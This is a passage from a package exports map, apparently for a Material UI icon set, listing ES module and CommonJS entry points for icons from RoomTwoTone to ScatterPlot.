\"./RoomTwoTone.mjs\",\n      \"require\": \"./RoomTwoTone.js\",\n      \"default\": \"./RoomTwoTone.mjs\"\n    },\n    \"./Rotate90DegreesCcw\": {\n      \"import\": \"./Rotate90DegreesCcw.mjs\",\n      \"require\": \"./Rotate90DegreesCcw.js\",\n      \"default\": \"./Rotate90DegreesCcw.mjs\"\n    },\n    \"./Rotate90DegreesCcwOutlined\": {\n      \"import\": \"./Rotate90DegreesCcwOutlined.mjs\",\n      \"require\": \"./Rotate90DegreesCcwOutlined.js\",\n      \"default\": \"./Rotate90DegreesCcwOutlined.mjs\"\n    },\n    \"./Rotate90DegreesCcwRounded\": {\n      \"import\": \"./Rotate90DegreesCcwRounded.mjs\",\n      \"require\": \"./Rotate90DegreesCcwRounded.js\",\n      \"default\": \"./Rotate90DegreesCcwRounded.mjs\"\n    },\n    \"./Rotate90DegreesCcwSharp\": {\n      \"import\": \"./Rotate90DegreesCcwSharp.mjs\",\n      \"require\": \"./Rotate90DegreesCcwSharp.js\",\n      \"default\": \"./Rotate90DegreesCcwSharp.mjs\"\n    },\n    \"./Rotate90DegreesCcwTwoTone\": {\n      \"import\": \"./Rotate90DegreesCcwTwoTone.mjs\",\n      \"require\": \"./Rotate90DegreesCcwTwoTone.js\",\n      \"default\": \"./Rotate90DegreesCcwTwoTone.mjs\"\n    },\n    \"./Rotate90DegreesCw\": {\n      \"import\": \"./Rotate90DegreesCw.mjs\",\n      \"require\": \"./Rotate90DegreesCw.js\",\n      \"default\": \"./Rotate90DegreesCw.mjs\"\n    },\n    \"./Rotate90DegreesCwOutlined\": {\n      \"import\": \"./Rotate90DegreesCwOutlined.mjs\",\n      \"require\": \"./Rotate90DegreesCwOutlined.js\",\n      \"default\": \"./Rotate90DegreesCwOutlined.mjs\"\n    },\n    \"./Rotate90DegreesCwRounded\": {\n      \"require\": \"./Rotate90DegreesCwRounded.js\",\n      \"import\": \"./Rotate90DegreesCwRounded.mjs\",\n      \"default\": \"./Rotate90DegreesCwRounded.mjs\"\n    },\n    \"./Rotate90DegreesCwSharp\": {\n      \"require\": \"./Rotate90DegreesCwSharp.js\",\n      \"import\": \"./Rotate90DegreesCwSharp.mjs\",\n      \"default\": \"./Rotate90DegreesCwSharp.mjs\"\n    },\n    \"./Rotate90DegreesCwTwoTone\": {\n      \"require\": \"./Rotate90DegreesCwTwoTone.js\",\n      \"import\": \"./Rotate90DegreesCwTwoTone.mjs\",\n      \"default\": \"./Rotate90DegreesCwTwoTone.mjs\"\n    },\n    \"./RotateLeft\": {\n      \"require\": \"./RotateLeft.js\",\n      \"import\": \"./RotateLeft.mjs\",\n      \"default\": \"./RotateLeft.mjs\"\n    },\n    \"./RotateLeftOutlined\": {\n      \"require\": \"./RotateLeftOutlined.js\",\n      \"import\": \"./RotateLeftOutlined.mjs\",\n      \"default\": \"./RotateLeftOutlined.mjs\"\n    },\n    \"./RotateLeftRounded\": {\n      \"require\": \"./RotateLeftRounded.js\",\n      \"import\": \"./RotateLeftRounded.mjs\",\n      \"default\": \"./RotateLeftRounded.mjs\"\n    },\n    \"./RotateLeftSharp\": {\n      \"require\": \"./RotateLeftSharp.js\",\n      \"import\": \"./RotateLeftSharp.mjs\",\n      \"default\": \"./RotateLeftSharp.mjs\"\n    },\n    \"./RotateLeftTwoTone\": {\n      \"import\": \"./RotateLeftTwoTone.mjs\",\n      \"require\": \"./RotateLeftTwoTone.js\",\n      \"default\": \"./RotateLeftTwoTone.mjs\"\n    },\n    \"./RotateRight\": {\n      \"import\": \"./RotateRight.mjs\",\n      \"require\": \"./RotateRight.js\",\n      \"default\": \"./RotateRight.mjs\"\n    },\n    \"./RotateRightOutlined\": {\n      \"import\": \"./RotateRightOutlined.mjs\",\n      \"require\": \"./RotateRightOutlined.js\",\n      \"default\": \"./RotateRightOutlined.mjs\"\n    },\n    \"./RotateRightRounded\": {\n      \"import\": \"./RotateRightRounded.mjs\",\n      \"require\": \"./RotateRightRounded.js\",\n      \"default\": \"./RotateRightRounded.mjs\"\n    },\n    \"./RotateRightSharp\": {\n      \"import\": \"./RotateRightSharp.mjs\",\n      \"require\": \"./RotateRightSharp.js\",\n      \"default\": \"./RotateRightSharp.mjs\"\n    },\n    \"./RotateRightTwoTone\": {\n      \"import\": \"./RotateRightTwoTone.mjs\",\n      \"require\": \"./RotateRightTwoTone.js\",\n      \"default\": \"./RotateRightTwoTone.mjs\"\n    },\n    \"./RoundaboutLeft\": {\n      \"import\": \"./RoundaboutLeft.mjs\",\n      \"require\": \"./RoundaboutLeft.js\",\n      \"default\": \"./RoundaboutLeft.mjs\"\n    },\n    \"./RoundaboutLeftOutlined\": {\n      \"import\": \"./RoundaboutLeftOutlined.mjs\",\n      \"require\": \"./RoundaboutLeftOutlined.js\",\n      \"default\": \"./RoundaboutLeftOutlined.mjs\"\n    },\n    \"./RoundaboutLeftRounded\": {\n      \"import\": \"./RoundaboutLeftRounded.mjs\",\n      \"require\": \"./RoundaboutLeftRounded.js\",\n      \"default\": \"./RoundaboutLeftRounded.mjs\"\n    },\n    \"./RoundaboutLeftSharp\": {\n      \"import\": \"./RoundaboutLeftSharp.mjs\",\n      \"require\": \"./RoundaboutLeftSharp.js\",\n      \"default\": \"./RoundaboutLeftSharp.mjs\"\n    },\n    \"./RoundaboutLeftTwoTone\": {\n      \"import\": \"./RoundaboutLeftTwoTone.mjs\",\n      \"require\": \"./RoundaboutLeftTwoTone.js\",\n      \"default\": \"./RoundaboutLeftTwoTone.mjs\"\n    },\n    \"./RoundaboutRight\": {\n      \"import\": \"./RoundaboutRight.mjs\",\n      \"require\": \"./RoundaboutRight.js\",\n      \"default\": \"./RoundaboutRight.mjs\"\n    },\n    \"./RoundaboutRightOutlined\": {\n      \"import\": \"./RoundaboutRightOutlined.mjs\",\n      \"require\": \"./RoundaboutRightOutlined.js\",\n      \"default\": \"./RoundaboutRightOutlined.mjs\"\n    },\n    \"./RoundaboutRightRounded\": {\n      \"require\": \"./RoundaboutRightRounded.js\",\n      \"import\": \"./RoundaboutRightRounded.mjs\",\n      \"default\": \"./RoundaboutRightRounded.mjs\"\n    },\n    \"./RoundaboutRightSharp\": {\n      \"require\": \"./RoundaboutRightSharp.js\",\n      \"import\": \"./RoundaboutRightSharp.mjs\",\n      \"default\": \"./RoundaboutRightSharp.mjs\"\n    },\n    \"./RoundaboutRightTwoTone\": {\n      \"require\": \"./RoundaboutRightTwoTone.js\",\n      \"import\": \"./RoundaboutRightTwoTone.mjs\",\n      \"default\": \"./RoundaboutRightTwoTone.mjs\"\n    },\n    \"./RoundedCorner\": {\n      \"require\": \"./RoundedCorner.js\",\n      \"import\": \"./RoundedCorner.mjs\",\n      \"default\": \"./RoundedCorner.mjs\"\n    },\n    \"./RoundedCornerOutlined\": {\n      \"import\": \"./RoundedCornerOutlined.mjs\",\n      \"require\": \"./RoundedCornerOutlined.js\",\n      \"default\": \"./RoundedCornerOutlined.mjs\"\n    },\n    \"./RoundedCornerRounded\": {\n      \"import\": \"./RoundedCornerRounded.mjs\",\n      \"require\": \"./RoundedCornerRounded.js\",\n      \"default\": \"./RoundedCornerRounded.mjs\"\n    },\n    \"./RoundedCornerSharp\": {\n      \"require\": \"./RoundedCornerSharp.js\",\n      \"import\": \"./RoundedCornerSharp.mjs\",\n      \"default\": \"./RoundedCornerSharp.mjs\"\n    },\n    \"./RoundedCornerTwoTone\": {\n      \"require\": \"./RoundedCornerTwoTone.js\",\n      \"import\": \"./RoundedCornerTwoTone.mjs\",\n      \"default\": \"./RoundedCornerTwoTone.mjs\"\n    },\n    \"./Route\": {\n      \"import\": \"./Route.mjs\",\n      \"require\": \"./Route.js\",\n      \"default\": \"./Route.mjs\"\n    },\n    \"./RouteOutlined\": {\n      \"import\": \"./RouteOutlined.mjs\",\n      \"require\": \"./RouteOutlined.js\",\n      \"default\": \"./RouteOutlined.mjs\"\n    },\n    \"./RouteRounded\": {\n      \"import\": \"./RouteRounded.mjs\",\n      \"require\": \"./RouteRounded.js\",\n      \"default\": \"./RouteRounded.mjs\"\n    },\n    \"./RouteSharp\": {\n      \"import\": \"./RouteSharp.mjs\",\n      \"require\": \"./RouteSharp.js\",\n      \"default\": \"./RouteSharp.mjs\"\n    },\n    \"./RouteTwoTone\": {\n      \"import\": \"./RouteTwoTone.mjs\",\n      \"require\": \"./RouteTwoTone.js\",\n      \"default\": \"./RouteTwoTone.mjs\"\n    },\n    \"./Router\": {\n      \"require\": \"./Router.js\",\n      \"import\": \"./Router.mjs\",\n      \"default\": \"./Router.mjs\"\n    },\n    \"./RouterOutlined\": {\n      \"require\": \"./RouterOutlined.js\",\n      \"import\": \"./RouterOutlined.mjs\",\n      \"default\": \"./RouterOutlined.mjs\"\n    },\n    \"./RouterRounded\": {\n      \"require\": \"./RouterRounded.js\",\n      \"import\": \"./RouterRounded.mjs\",\n      \"default\": \"./RouterRounded.mjs\"\n    },\n    \"./RouterSharp\": {\n      \"require\": \"./RouterSharp.js\",\n      \"import\": \"./RouterSharp.mjs\",\n      \"default\": \"./RouterSharp.mjs\"\n    },\n    \"./RouterTwoTone\": {\n      \"require\": \"./RouterTwoTone.js\",\n      \"import\": \"./RouterTwoTone.mjs\",\n      \"default\": \"./RouterTwoTone.mjs\"\n    },\n    \"./Rowing\": {\n      \"require\": \"./Rowing.js\",\n      \"import\": \"./Rowing.mjs\",\n      \"default\": \"./Rowing.mjs\"\n    },\n    \"./RowingOutlined\": {\n      \"require\": \"./RowingOutlined.js\",\n      \"import\": \"./RowingOutlined.mjs\",\n      \"default\": \"./RowingOutlined.mjs\"\n    },\n    \"./RowingRounded\": {\n      \"require\": \"./RowingRounded.js\",\n      \"import\": \"./RowingRounded.mjs\",\n      \"default\": \"./RowingRounded.mjs\"\n    },\n    \"./RowingSharp\": {\n      \"require\": \"./RowingSharp.js\",\n      \"import\": \"./RowingSharp.mjs\",\n      \"default\": \"./RowingSharp.mjs\"\n    },\n    \"./RowingTwoTone\": {\n      \"require\": \"./RowingTwoTone.js\",\n      \"import\": \"./RowingTwoTone.mjs\",\n      \"default\": \"./RowingTwoTone.mjs\"\n    },\n    \"./RssFeed\": {\n      \"require\": \"./RssFeed.js\",\n      \"import\": \"./RssFeed.mjs\",\n      \"default\": \"./RssFeed.mjs\"\n    },\n    \"./RssFeedOutlined\": {\n      \"require\": \"./RssFeedOutlined.js\",\n      \"import\": \"./RssFeedOutlined.mjs\",\n      \"default\": \"./RssFeedOutlined.mjs\"\n    },\n    \"./RssFeedRounded\": {\n      \"require\": \"./RssFeedRounded.js\",\n      \"import\": \"./RssFeedRounded.mjs\",\n      \"default\": \"./RssFeedRounded.mjs\"\n    },\n    \"./RssFeedSharp\": {\n      \"require\": \"./RssFeedSharp.js\",\n      \"import\": \"./RssFeedSharp.mjs\",\n      \"default\": \"./RssFeedSharp.mjs\"\n    },\n    \"./RssFeedTwoTone\": {\n      \"require\": \"./RssFeedTwoTone.js\",\n      \"import\": \"./RssFeedTwoTone.mjs\",\n      \"default\": \"./RssFeedTwoTone.mjs\"\n    },\n    \"./Rsvp\": {\n      \"require\": \"./Rsvp.js\",\n      \"import\": \"./Rsvp.mjs\",\n      \"default\": \"./Rsvp.mjs\"\n    },\n    \"./RsvpOutlined\": {\n      \"import\": \"./RsvpOutlined.mjs\",\n      \"require\": \"./RsvpOutlined.js\",\n      \"default\": \"./RsvpOutlined.mjs\"\n    },\n    \"./RsvpRounded\": {\n      \"import\": \"./RsvpRounded.mjs\",\n      \"require\": \"./RsvpRounded.js\",\n      \"default\": \"./RsvpRounded.mjs\"\n    },\n    \"./RsvpSharp\": {\n      \"import\": \"./RsvpSharp.mjs\",\n      \"require\": \"./RsvpSharp.js\",\n      \"default\": \"./RsvpSharp.mjs\"\n    },\n    \"./RsvpTwoTone\": {\n      \"import\": \"./RsvpTwoTone.mjs\",\n      \"require\": \"./RsvpTwoTone.js\",\n      \"default\": \"./RsvpTwoTone.mjs\"\n    },\n    \"./Rtt\": {\n      \"import\": \"./Rtt.mjs\",\n      \"require\": \"./Rtt.js\",\n      \"default\": \"./Rtt.mjs\"\n    },\n    \"./RttOutlined\": {\n      \"import\": \"./RttOutlined.mjs\",\n      \"require\": \"./RttOutlined.js\",\n      \"default\": \"./RttOutlined.mjs\"\n    },\n    \"./RttRounded\": {\n      \"import\": \"./RttRounded.mjs\",\n      \"require\": \"./RttRounded.js\",\n      \"default\": \"./RttRounded.mjs\"\n    },\n    \"./RttSharp\": {\n      \"import\": \"./RttSharp.mjs\",\n      \"require\": \"./RttSharp.js\",\n      \"default\": \"./RttSharp.mjs\"\n    },\n    \"./RttTwoTone\": {\n      \"import\": \"./RttTwoTone.mjs\",\n      \"require\": \"./RttTwoTone.js\",\n      \"default\": \"./RttTwoTone.mjs\"\n    },\n    \"./Rule\": {\n      \"import\": \"./Rule.mjs\",\n      \"require\": \"./Rule.js\",\n      \"default\": \"./Rule.mjs\"\n    },\n    \"./RuleFolder\": {\n      \"import\": \"./RuleFolder.mjs\",\n      \"require\": \"./RuleFolder.js\",\n      \"default\": \"./RuleFolder.mjs\"\n    },\n    \"./RuleFolderOutlined\": {\n      \"import\": \"./RuleFolderOutlined.mjs\",\n      \"require\": \"./RuleFolderOutlined.js\",\n      \"default\": \"./RuleFolderOutlined.mjs\"\n    },\n    \"./RuleFolderRounded\": {\n      \"import\": \"./RuleFolderRounded.mjs\",\n      \"require\": \"./RuleFolderRounded.js\",\n      \"default\": \"./RuleFolderRounded.mjs\"\n    },\n    \"./RuleFolderSharp\": {\n      \"import\": \"./RuleFolderSharp.mjs\",\n      \"require\": \"./RuleFolderSharp.js\",\n      \"default\": \"./RuleFolderSharp.mjs\"\n    },\n    \"./RuleFolderTwoTone\": {\n      \"import\": \"./RuleFolderTwoTone.mjs\",\n      \"require\": \"./RuleFolderTwoTone.js\",\n      \"default\": \"./RuleFolderTwoTone.mjs\"\n    },\n    \"./RuleOutlined\": {\n      \"import\": \"./RuleOutlined.mjs\",\n      \"require\": \"./RuleOutlined.js\",\n      \"default\": \"./RuleOutlined.mjs\"\n    },\n    \"./RuleRounded\": {\n      \"import\": \"./RuleRounded.mjs\",\n      \"require\": \"./RuleRounded.js\",\n      \"default\": \"./RuleRounded.mjs\"\n    },\n    \"./RuleSharp\": {\n      \"import\": \"./RuleSharp.mjs\",\n      \"require\": \"./RuleSharp.js\",\n      \"default\": \"./RuleSharp.mjs\"\n    },\n    \"./RuleTwoTone\": {\n      \"import\": \"./RuleTwoTone.mjs\",\n      \"require\": \"./RuleTwoTone.js\",\n      \"default\": \"./RuleTwoTone.mjs\"\n    },\n    \"./RunCircle\": {\n      \"require\": \"./RunCircle.js\",\n      \"import\": \"./RunCircle.mjs\",\n      \"default\": \"./RunCircle.mjs\"\n    },\n    \"./RunCircleOutlined\": {\n      \"require\": \"./RunCircleOutlined.js\",\n      \"import\": \"./RunCircleOutlined.mjs\",\n      \"default\": \"./RunCircleOutlined.mjs\"\n    },\n    \"./RunCircleRounded\": {\n      \"require\": \"./RunCircleRounded.js\",\n      \"import\": \"./RunCircleRounded.mjs\",\n      \"default\": \"./RunCircleRounded.mjs\"\n    },\n    \"./RunCircleSharp\": {\n      \"require\": \"./RunCircleSharp.js\",\n      \"import\": \"./RunCircleSharp.mjs\",\n      \"default\": \"./RunCircleSharp.mjs\"\n    },\n    \"./RunCircleTwoTone\": {\n      \"require\": \"./RunCircleTwoTone.js\",\n      \"import\": \"./RunCircleTwoTone.mjs\",\n      \"default\": \"./RunCircleTwoTone.mjs\"\n    },\n    \"./RunningWithErrors\": {\n      \"require\": \"./RunningWithErrors.js\",\n      \"import\": \"./RunningWithErrors.mjs\",\n      \"default\": \"./RunningWithErrors.mjs\"\n    },\n    \"./RunningWithErrorsOutlined\": {\n      \"require\": \"./RunningWithErrorsOutlined.js\",\n      \"import\": \"./RunningWithErrorsOutlined.mjs\",\n      \"default\": \"./RunningWithErrorsOutlined.mjs\"\n    },\n    \"./RunningWithErrorsRounded\": {\n      \"require\": \"./RunningWithErrorsRounded.js\",\n      \"import\": \"./RunningWithErrorsRounded.mjs\",\n      \"default\": \"./RunningWithErrorsRounded.mjs\"\n    },\n    \"./RunningWithErrorsSharp\": {\n      \"require\": \"./RunningWithErrorsSharp.js\",\n      \"import\": \"./RunningWithErrorsSharp.mjs\",\n      \"default\": \"./RunningWithErrorsSharp.mjs\"\n    },\n    \"./RunningWithErrorsTwoTone\": {\n      \"require\": \"./RunningWithErrorsTwoTone.js\",\n      \"import\": \"./RunningWithErrorsTwoTone.mjs\",\n      \"default\": \"./RunningWithErrorsTwoTone.mjs\"\n    },\n    \"./RvHookup\": {\n      \"require\": \"./RvHookup.js\",\n      \"import\": \"./RvHookup.mjs\",\n      \"default\": \"./RvHookup.mjs\"\n    },\n    \"./RvHookupOutlined\": {\n      \"require\": \"./RvHookupOutlined.js\",\n      \"import\": \"./RvHookupOutlined.mjs\",\n      \"default\": \"./RvHookupOutlined.mjs\"\n    },\n    \"./RvHookupRounded\": {\n      \"require\": \"./RvHookupRounded.js\",\n      \"import\": \"./RvHookupRounded.mjs\",\n      \"default\": \"./RvHookupRounded.mjs\"\n    },\n    \"./RvHookupSharp\": {\n      \"require\": \"./RvHookupSharp.js\",\n      \"import\": \"./RvHookupSharp.mjs\",\n      \"default\": \"./RvHookupSharp.mjs\"\n    },\n    \"./RvHookupTwoTone\": {\n      \"require\": \"./RvHookupTwoTone.js\",\n      \"import\": \"./RvHookupTwoTone.mjs\",\n      \"default\": \"./RvHookupTwoTone.mjs\"\n    },\n    \"./SafetyCheck\": {\n      \"require\": \"./SafetyCheck.js\",\n      \"import\": \"./SafetyCheck.mjs\",\n      \"default\": \"./SafetyCheck.mjs\"\n    },\n    \"./SafetyCheckOutlined\": {\n      \"require\": \"./SafetyCheckOutlined.js\",\n      \"import\": \"./SafetyCheckOutlined.mjs\",\n      \"default\": \"./SafetyCheckOutlined.mjs\"\n    },\n    \"./SafetyCheckRounded\": {\n      \"require\": \"./SafetyCheckRounded.js\",\n      \"import\": \"./SafetyCheckRounded.mjs\",\n      \"default\": \"./SafetyCheckRounded.mjs\"\n    },\n    \"./SafetyCheckSharp\": {\n      \"require\": \"./SafetyCheckSharp.js\",\n      \"import\": \"./SafetyCheckSharp.mjs\",\n      \"default\": \"./SafetyCheckSharp.mjs\"\n    },\n    \"./SafetyCheckTwoTone\": {\n      \"require\": \"./SafetyCheckTwoTone.js\",\n      \"import\": \"./SafetyCheckTwoTone.mjs\",\n      \"default\": \"./SafetyCheckTwoTone.mjs\"\n    },\n    \"./SafetyDivider\": {\n      \"require\": \"./SafetyDivider.js\",\n      \"import\": \"./SafetyDivider.mjs\",\n      \"default\": \"./SafetyDivider.mjs\"\n    },\n    \"./SafetyDividerOutlined\": {\n      \"require\": \"./SafetyDividerOutlined.js\",\n      \"import\": \"./SafetyDividerOutlined.mjs\",\n      \"default\": \"./SafetyDividerOutlined.mjs\"\n    },\n    \"./SafetyDividerRounded\": {\n      \"require\": \"./SafetyDividerRounded.js\",\n      \"import\": \"./SafetyDividerRounded.mjs\",\n      \"default\": \"./SafetyDividerRounded.mjs\"\n    },\n    \"./SafetyDividerSharp\": {\n      \"require\": \"./SafetyDividerSharp.js\",\n      \"import\": \"./SafetyDividerSharp.mjs\",\n      \"default\": \"./SafetyDividerSharp.mjs\"\n    },\n    \"./SafetyDividerTwoTone\": {\n      \"require\": \"./SafetyDividerTwoTone.js\",\n      \"import\": \"./SafetyDividerTwoTone.mjs\",\n      \"default\": \"./SafetyDividerTwoTone.mjs\"\n    },\n    \"./Sailing\": {\n      \"import\": \"./Sailing.mjs\",\n      \"require\": \"./Sailing.js\",\n      \"default\": \"./Sailing.mjs\"\n    },\n    \"./SailingOutlined\": {\n      \"import\": \"./SailingOutlined.mjs\",\n      \"require\": \"./SailingOutlined.js\",\n      \"default\": \"./SailingOutlined.mjs\"\n    },\n    \"./SailingRounded\": {\n      \"import\": \"./SailingRounded.mjs\",\n      \"require\": \"./SailingRounded.js\",\n      \"default\": \"./SailingRounded.mjs\"\n    },\n    \"./SailingSharp\": {\n      \"require\": \"./SailingSharp.js\",\n      \"import\": \"./SailingSharp.mjs\",\n      \"default\": \"./SailingSharp.mjs\"\n    },\n    \"./SailingTwoTone\": {\n      \"require\": \"./SailingTwoTone.js\",\n      \"import\": \"./SailingTwoTone.mjs\",\n      \"default\": \"./SailingTwoTone.mjs\"\n    },\n    \"./Sanitizer\": {\n      \"require\": \"./Sanitizer.js\",\n      \"import\": \"./Sanitizer.mjs\",\n      \"default\": \"./Sanitizer.mjs\"\n    },\n    \"./SanitizerOutlined\": {\n      \"require\": \"./SanitizerOutlined.js\",\n      \"import\": \"./SanitizerOutlined.mjs\",\n      \"default\": \"./SanitizerOutlined.mjs\"\n    },\n    \"./SanitizerRounded\": {\n      \"require\": \"./SanitizerRounded.js\",\n      \"import\": \"./SanitizerRounded.mjs\",\n      \"default\": \"./SanitizerRounded.mjs\"\n    },\n    \"./SanitizerSharp\": {\n      \"import\": \"./SanitizerSharp.mjs\",\n      \"require\": \"./SanitizerSharp.js\",\n      \"default\": \"./SanitizerSharp.mjs\"\n    },\n    \"./SanitizerTwoTone\": {\n      \"require\": \"./SanitizerTwoTone.js\",\n      \"import\": \"./SanitizerTwoTone.mjs\",\n      \"default\": \"./SanitizerTwoTone.mjs\"\n    },\n    \"./Satellite\": {\n      \"require\": \"./Satellite.js\",\n      \"import\": \"./Satellite.mjs\",\n      \"default\": \"./Satellite.mjs\"\n    },\n    \"./SatelliteAlt\": {\n      \"require\": \"./SatelliteAlt.js\",\n      \"import\": \"./SatelliteAlt.mjs\",\n      \"default\": \"./SatelliteAlt.mjs\"\n    },\n    \"./SatelliteAltOutlined\": {\n      \"require\": \"./SatelliteAltOutlined.js\",\n      \"import\": \"./SatelliteAltOutlined.mjs\",\n      \"default\": \"./SatelliteAltOutlined.mjs\"\n    },\n    \"./SatelliteAltRounded\": {\n      \"require\": \"./SatelliteAltRounded.js\",\n      \"import\": \"./SatelliteAltRounded.mjs\",\n      \"default\": \"./SatelliteAltRounded.mjs\"\n    },\n    \"./SatelliteAltSharp\": {\n      \"require\": \"./SatelliteAltSharp.js\",\n      \"import\": \"./SatelliteAltSharp.mjs\",\n      \"default\": \"./SatelliteAltSharp.mjs\"\n    },\n    \"./SatelliteAltTwoTone\": {\n      \"require\": \"./SatelliteAltTwoTone.js\",\n      \"import\": \"./SatelliteAltTwoTone.mjs\",\n      \"default\": \"./SatelliteAltTwoTone.mjs\"\n    },\n    \"./SatelliteOutlined\": {\n      \"import\": \"./SatelliteOutlined.mjs\",\n      \"require\": \"./SatelliteOutlined.js\",\n      \"default\": \"./SatelliteOutlined.mjs\"\n    },\n    \"./SatelliteRounded\": {\n      \"import\": \"./SatelliteRounded.mjs\",\n      \"require\": \"./SatelliteRounded.js\",\n      \"default\": \"./SatelliteRounded.mjs\"\n    },\n    \"./SatelliteSharp\": {\n      \"import\": \"./SatelliteSharp.mjs\",\n      \"require\": \"./SatelliteSharp.js\",\n      \"default\": \"./SatelliteSharp.mjs\"\n    },\n    \"./SatelliteTwoTone\": {\n      \"import\": \"./SatelliteTwoTone.mjs\",\n      \"require\": \"./SatelliteTwoTone.js\",\n      \"default\": \"./SatelliteTwoTone.mjs\"\n    },\n    \"./Save\": {\n      \"import\": \"./Save.mjs\",\n      \"require\": \"./Save.js\",\n      \"default\": \"./Save.mjs\"\n    },\n    \"./SaveAlt\": {\n      \"import\": \"./SaveAlt.mjs\",\n      \"require\": \"./SaveAlt.js\",\n      \"default\": \"./SaveAlt.mjs\"\n    },\n    \"./SaveAltOutlined\": {\n      \"import\": \"./SaveAltOutlined.mjs\",\n      \"require\": \"./SaveAltOutlined.js\",\n      \"default\": \"./SaveAltOutlined.mjs\"\n    },\n    \"./SaveAltRounded\": {\n      \"import\": \"./SaveAltRounded.mjs\",\n      \"require\": \"./SaveAltRounded.js\",\n      \"default\": \"./SaveAltRounded.mjs\"\n    },\n    \"./SaveAltSharp\": {\n      \"import\": \"./SaveAltSharp.mjs\",\n      \"require\": \"./SaveAltSharp.js\",\n      \"default\": \"./SaveAltSharp.mjs\"\n    },\n    \"./SaveAltTwoTone\": {\n      \"import\": \"./SaveAltTwoTone.mjs\",\n      \"require\": \"./SaveAltTwoTone.js\",\n      \"default\": \"./SaveAltTwoTone.mjs\"\n    },\n    \"./SaveAs\": {\n      \"import\": \"./SaveAs.mjs\",\n      \"require\": \"./SaveAs.js\",\n      \"default\": \"./SaveAs.mjs\"\n    },\n    \"./SaveAsOutlined\": {\n      \"import\": \"./SaveAsOutlined.mjs\",\n      \"require\": \"./SaveAsOutlined.js\",\n      \"default\": \"./SaveAsOutlined.mjs\"\n    },\n    \"./SaveAsRounded\": {\n      \"require\": \"./SaveAsRounded.js\",\n      \"import\": \"./SaveAsRounded.mjs\",\n      \"default\": \"./SaveAsRounded.mjs\"\n    },\n    \"./SaveAsSharp\": {\n      \"require\": \"./SaveAsSharp.js\",\n      \"import\": \"./SaveAsSharp.mjs\",\n      \"default\": \"./SaveAsSharp.mjs\"\n    },\n    \"./SaveAsTwoTone\": {\n      \"require\": \"./SaveAsTwoTone.js\",\n      \"import\": \"./SaveAsTwoTone.mjs\",\n      \"default\": \"./SaveAsTwoTone.mjs\"\n    },\n    \"./SaveOutlined\": {\n      \"require\": \"./SaveOutlined.js\",\n      \"import\": \"./SaveOutlined.mjs\",\n      \"default\": \"./SaveOutlined.mjs\"\n    },\n    \"./SaveRounded\": {\n      \"require\": \"./SaveRounded.js\",\n      \"import\": \"./SaveRounded.mjs\",\n      \"default\": \"./SaveRounded.mjs\"\n    },\n    \"./SaveSharp\": {\n      \"require\": \"./SaveSharp.js\",\n      \"import\": \"./SaveSharp.mjs\",\n      \"default\": \"./SaveSharp.mjs\"\n    },\n    \"./SaveTwoTone\": {\n      \"require\": \"./SaveTwoTone.js\",\n      \"import\": \"./SaveTwoTone.mjs\",\n      \"default\": \"./SaveTwoTone.mjs\"\n    },\n    \"./SavedSearch\": {\n      \"require\": \"./SavedSearch.js\",\n      \"import\": \"./SavedSearch.mjs\",\n      \"default\": \"./SavedSearch.mjs\"\n    },\n    \"./SavedSearchOutlined\": {\n      \"require\": \"./SavedSearchOutlined.js\",\n      \"import\": \"./SavedSearchOutlined.mjs\",\n      \"default\": \"./SavedSearchOutlined.mjs\"\n    },\n    \"./SavedSearchRounded\": {\n      \"require\": \"./SavedSearchRounded.js\",\n      \"import\": \"./SavedSearchRounded.mjs\",\n      \"default\": \"./SavedSearchRounded.mjs\"\n    },\n    \"./SavedSearchSharp\": {\n      \"require\": \"./SavedSearchSharp.js\",\n      \"import\": \"./SavedSearchSharp.mjs\",\n      \"default\": \"./SavedSearchSharp.mjs\"\n    },\n    \"./SavedSearchTwoTone\": {\n      \"require\": \"./SavedSearchTwoTone.js\",\n      \"import\": \"./SavedSearchTwoTone.mjs\",\n      \"default\": \"./SavedSearchTwoTone.mjs\"\n    },\n    \"./Savings\": {\n      \"require\": \"./Savings.js\",\n      \"import\": \"./Savings.mjs\",\n      \"default\": \"./Savings.mjs\"\n    },\n    \"./SavingsOutlined\": {\n      \"require\": \"./SavingsOutlined.js\",\n      \"import\": \"./SavingsOutlined.mjs\",\n      \"default\": \"./SavingsOutlined.mjs\"\n    },\n    \"./SavingsRounded\": {\n      \"require\": \"./SavingsRounded.js\",\n      \"import\": \"./SavingsRounded.mjs\",\n      \"default\": \"./SavingsRounded.mjs\"\n    },\n    \"./SavingsSharp\": {\n      \"import\": \"./SavingsSharp.mjs\",\n      \"require\": \"./SavingsSharp.js\",\n      \"default\": \"./SavingsSharp.mjs\"\n    },\n    \"./SavingsTwoTone\": {\n      \"require\": \"./SavingsTwoTone.js\",\n      \"import\": \"./SavingsTwoTone.mjs\",\n      \"default\": \"./SavingsTwoTone.mjs\"\n    },\n    \"./Scale\": {\n      \"import\": \"./Scale.mjs\",\n      \"require\": \"./Scale.js\",\n      \"default\": \"./Scale.mjs\"\n    },\n    \"./ScaleOutlined\": {\n      \"require\": \"./ScaleOutlined.js\",\n      \"import\": \"./ScaleOutlined.mjs\",\n      \"default\": \"./ScaleOutlined.mjs\"\n    },\n    \"./ScaleRounded\": {\n      \"require\": \"./ScaleRounded.js\",\n      \"import\": \"./ScaleRounded.mjs\",\n      \"default\": \"./ScaleRounded.mjs\"\n    },\n    \"./ScaleSharp\": {\n      \"require\": \"./ScaleSharp.js\",\n      \"import\": \"./ScaleSharp.mjs\",\n      \"default\": \"./ScaleSharp.mjs\"\n    },\n    \"./ScaleTwoTone\": {\n      \"require\": \"./ScaleTwoTone.js\",\n      \"import\": \"./ScaleTwoTone.mjs\",\n      \"default\": \"./ScaleTwoTone.mjs\"\n    },\n    \"./Scanner\": {\n      \"require\": \"./Scanner.js\",\n      \"import\": \"./Scanner.mjs\",\n      \"default\": \"./Scanner.mjs\"\n    },\n    \"./ScannerOutlined\": {\n      \"require\": \"./ScannerOutlined.js\",\n      \"import\": \"./ScannerOutlined.mjs\",\n      \"default\": \"./ScannerOutlined.mjs\"\n    },\n    \"./ScannerRounded\": {\n      \"require\": \"./ScannerRounded.js\",\n      \"import\": \"./ScannerRounded.mjs\",\n      \"default\": \"./ScannerRounded.mjs\"\n    },\n    \"./ScannerSharp\": {\n      \"require\": \"./ScannerSharp.js\",\n      \"import\": \"./ScannerSharp.mjs\",\n      \"default\": \"./ScannerSharp.mjs\"\n    },\n    \"./ScannerTwoTone\": {\n      \"require\": \"./ScannerTwoTone.js\",\n      \"import\": \"./ScannerTwoTone.mjs\",\n      \"default\": \"./ScannerTwoTone.mjs\"\n    },\n    \"./ScatterPlot\": {\n      \"require\": 